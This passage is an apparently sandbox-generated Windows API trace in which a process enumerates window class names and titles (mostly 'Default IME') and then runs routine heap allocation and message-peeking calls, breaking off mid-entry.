[0137.468] GetClassNameW (in: hWnd=0x702a6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.468] GetWindowTextW (in: hWnd=0x20270, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.468] GetClassNameW (in: hWnd=0x20270, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.468] GetWindowTextW (in: hWnd=0x202e2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.468] GetClassNameW (in: hWnd=0x202e2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.468] GetWindowTextW (in: hWnd=0x140206, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.469] GetClassNameW (in: hWnd=0x140206, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.469] GetWindowTextW (in: hWnd=0x1035e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.469] GetClassNameW (in: hWnd=0x1035e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.469] GetWindowTextW (in: hWnd=0x1035c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.469] GetClassNameW (in: hWnd=0x1035c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.469] GetWindowTextW (in: hWnd=0x1035a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.469] GetClassNameW (in: hWnd=0x1035a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.469] GetWindowTextW (in: hWnd=0x10358, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.469] GetClassNameW (in: hWnd=0x10358, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.470] GetWindowTextW (in: hWnd=0x10356, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.470] GetClassNameW (in: hWnd=0x10356, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.470] GetWindowTextW (in: hWnd=0x10354, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.470] GetClassNameW (in: hWnd=0x10354, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.470] GetWindowTextW (in: hWnd=0x10352, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.470] GetClassNameW (in: hWnd=0x10352, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.470] GetWindowTextW (in: hWnd=0x1034a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.470] GetClassNameW (in: hWnd=0x1034a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.470] GetWindowTextW (in: hWnd=0x10346, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.471] GetClassNameW (in: hWnd=0x10346, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.471] GetWindowTextW (in: hWnd=0x10344, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.471] GetClassNameW (in: hWnd=0x10344, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.471] GetWindowTextW (in: hWnd=0x1033c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.471] GetClassNameW (in: hWnd=0x1033c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.471] GetWindowTextW (in: hWnd=0x1033a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.471] GetClassNameW (in: hWnd=0x1033a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.471] GetWindowTextW (in: hWnd=0x10334, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.471] GetClassNameW (in: hWnd=0x10334, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.472] GetWindowTextW (in: hWnd=0x1032a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.472] GetClassNameW (in: hWnd=0x1032a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.472] GetWindowTextW (in: hWnd=0x10320, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.472] GetClassNameW (in: hWnd=0x10320, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.472] GetWindowTextW (in: hWnd=0x1031e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.472] GetClassNameW (in: hWnd=0x1031e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.472] GetWindowTextW (in: hWnd=0x10314, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.472] GetClassNameW (in: hWnd=0x10314, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.472] GetWindowTextW (in: hWnd=0x1030a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.473] GetClassNameW (in: hWnd=0x1030a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.473] GetWindowTextW (in: hWnd=0x10308, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.473] GetClassNameW (in: hWnd=0x10308, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.473] GetWindowTextW (in: hWnd=0x102fc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.473] GetClassNameW (in: hWnd=0x102fc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.473] GetWindowTextW (in: hWnd=0x102fa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.473] GetClassNameW (in: hWnd=0x102fa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.473] GetWindowTextW (in: hWnd=0x102f8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.473] GetClassNameW (in: hWnd=0x102f8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.474] GetWindowTextW (in: hWnd=0x102ea, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.474] GetClassNameW (in: hWnd=0x102ea, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.474] GetWindowTextW (in: hWnd=0x102de, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.474] GetClassNameW (in: hWnd=0x102de, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.474] GetWindowTextW (in: hWnd=0x102d4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.474] GetClassNameW (in: hWnd=0x102d4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.474] GetWindowTextW (in: hWnd=0x102d0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.474] GetClassNameW (in: hWnd=0x102d0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.474] GetWindowTextW (in: hWnd=0x102ce, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.475] GetClassNameW (in: hWnd=0x102ce, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.475] GetWindowTextW (in: hWnd=0x102cc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.475] GetClassNameW (in: hWnd=0x102cc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.475] GetWindowTextW (in: hWnd=0x102ca, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.475] GetClassNameW (in: hWnd=0x102ca, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.475] GetWindowTextW (in: hWnd=0x102c8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.475] GetClassNameW (in: hWnd=0x102c8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.475] GetWindowTextW (in: hWnd=0x102c6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.475] GetClassNameW (in: hWnd=0x102c6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.475] GetWindowTextW (in: hWnd=0x102c4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.476] GetClassNameW (in: hWnd=0x102c4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.476] GetWindowTextW (in: hWnd=0x102c2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.517] GetClassNameW (in: hWnd=0x102c2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.517] GetWindowTextW (in: hWnd=0x102c0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.517] GetClassNameW (in: hWnd=0x102c0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.517] GetWindowTextW (in: hWnd=0x102be, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.517] GetClassNameW (in: hWnd=0x102be, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.517] GetWindowTextW (in: hWnd=0x102bc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.517] GetClassNameW (in: hWnd=0x102bc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.518] GetWindowTextW (in: hWnd=0x102ba, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.518] GetClassNameW (in: hWnd=0x102ba, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.518] GetWindowTextW (in: hWnd=0x102b8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.518] GetClassNameW (in: hWnd=0x102b8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.518] GetWindowTextW (in: hWnd=0x102b6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.518] GetClassNameW (in: hWnd=0x102b6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.518] GetWindowTextW (in: hWnd=0x102b4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.518] GetClassNameW (in: hWnd=0x102b4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.518] GetWindowTextW (in: hWnd=0x3013c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.519] GetClassNameW (in: hWnd=0x3013c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.519] GetWindowTextW (in: hWnd=0x401ca, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.519] GetClassNameW (in: hWnd=0x401ca, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.519] GetWindowTextW (in: hWnd=0x102ae, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.519] GetClassNameW (in: hWnd=0x102ae, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.519] GetWindowTextW (in: hWnd=0x102a8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.519] GetClassNameW (in: hWnd=0x102a8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.519] GetWindowTextW (in: hWnd=0x1029e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.519] GetClassNameW (in: hWnd=0x1029e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.520] GetWindowTextW (in: hWnd=0x10296, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.520] GetClassNameW (in: hWnd=0x10296, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.520] GetWindowTextW (in: hWnd=0x1028c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.520] GetClassNameW (in: hWnd=0x1028c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.520] GetWindowTextW (in: hWnd=0x1028a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.520] GetClassNameW (in: hWnd=0x1028a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.520] GetWindowTextW (in: hWnd=0x10280, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.520] GetClassNameW (in: hWnd=0x10280, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.520] GetWindowTextW (in: hWnd=0x10276, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.521] GetClassNameW (in: hWnd=0x10276, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.521] GetWindowTextW (in: hWnd=0x1026c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.521] GetClassNameW (in: hWnd=0x1026c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.521] GetWindowTextW (in: hWnd=0x10262, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.521] GetClassNameW (in: hWnd=0x10262, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.521] GetWindowTextW (in: hWnd=0x10258, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.521] GetClassNameW (in: hWnd=0x10258, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.521] GetWindowTextW (in: hWnd=0x10256, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.521] GetClassNameW (in: hWnd=0x10256, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.521] GetWindowTextW (in: hWnd=0x10248, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.522] GetClassNameW (in: hWnd=0x10248, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.522] GetWindowTextW (in: hWnd=0x10242, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.522] GetClassNameW (in: hWnd=0x10242, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.522] GetWindowTextW (in: hWnd=0x10232, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.522] GetClassNameW (in: hWnd=0x10232, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.522] GetWindowTextW (in: hWnd=0x10230, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.522] GetClassNameW (in: hWnd=0x10230, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.522] GetWindowTextW (in: hWnd=0x10228, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.522] GetClassNameW (in: hWnd=0x10228, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.522] GetWindowTextW (in: hWnd=0x10212, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.523] GetClassNameW (in: hWnd=0x10212, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.523] GetWindowTextW (in: hWnd=0x10210, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.523] GetClassNameW (in: hWnd=0x10210, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.523] GetWindowTextW (in: hWnd=0x1020c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.523] GetClassNameW (in: hWnd=0x1020c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.523] GetWindowTextW (in: hWnd=0x2012e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.524] GetClassNameW (in: hWnd=0x2012e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.524] GetWindowTextW (in: hWnd=0x60316, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.524] GetClassNameW (in: hWnd=0x60316, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.524] GetWindowTextW (in: hWnd=0x5007c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.524] GetClassNameW (in: hWnd=0x5007c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.524] GetWindowTextW (in: hWnd=0x101d6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.524] GetClassNameW (in: hWnd=0x101d6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.524] GetWindowTextW (in: hWnd=0x101c4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.524] GetClassNameW (in: hWnd=0x101c4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.524] GetWindowTextW (in: hWnd=0x101a8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.525] GetClassNameW (in: hWnd=0x101a8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.525] GetWindowTextW (in: hWnd=0x1018a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.525] GetClassNameW (in: hWnd=0x1018a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.525] GetWindowTextW (in: hWnd=0x100fe, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.525] GetClassNameW (in: hWnd=0x100fe, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.525] GetWindowTextW (in: hWnd=0x100fa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="MSCTFIME UI") returned 11 [0137.525] GetClassNameW (in: hWnd=0x100fa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MSCTFIME UI") returned 11 [0137.525] GetWindowTextW (in: hWnd=0x100f0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.525] GetClassNameW (in: hWnd=0x100f0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.526] GetWindowTextW (in: hWnd=0x100e4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.526] GetClassNameW (in: hWnd=0x100e4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.526] GetWindowTextW (in: hWnd=0x20074, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.526] GetClassNameW (in: hWnd=0x20074, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.526] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0137.526] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.526] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0137.526] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0137.526] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0137.526] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.526] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0137.526] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0137.527] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b48 | out: hHeap=0xe80000) returned 1 [0137.527] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.527] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.527] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.527] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.528] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b48 [0137.528] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0137.528] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.528] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0137.528] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.528] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0137.528] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0137.529] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b48 | out: hHeap=0xe80000) returned 1 [0137.529] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.529] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec950 | out: hHeap=0xe80000) returned 1 [0137.529] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.529] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.529] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.529] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.529] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.529] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0137.529] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.529] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec750 [0137.529] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.530] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec750 | out: hHeap=0xe80000) returned 1 [0137.530] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0137.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.530] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.530] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0137.530] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0137.530] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.531] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0137.531] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.531] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.531] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.531] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.531] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.531] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0137.531] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.531] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec6d0 [0137.531] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.532] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec6d0 | out: hHeap=0xe80000) returned 1 [0137.532] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.532] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.532] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0137.532] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.532] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.532] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0137.532] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.532] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0137.532] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.532] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec7d0 | out: hHeap=0xe80000) returned 1 [0137.533] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.533] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.533] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.533] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 